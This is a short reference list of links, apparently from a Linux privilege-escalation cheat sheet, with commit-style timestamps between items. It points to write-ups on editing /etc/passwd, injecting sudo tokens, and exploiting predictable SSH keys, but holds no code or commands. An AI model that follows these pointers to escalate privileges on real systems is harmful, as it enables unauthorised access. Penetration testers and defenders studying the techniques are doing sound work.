- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018 ](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/ )
2019-06-29 15:55:13 +00:00
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc ](https://github.com/nongiach/sudo_inject )
2019-08-18 22:55:30 +00:00
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates ](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html )
2020-03-29 15:40:39 +00:00
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar ](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf )
2020-04-22 13:55:10 +00:00
* [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs ](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md )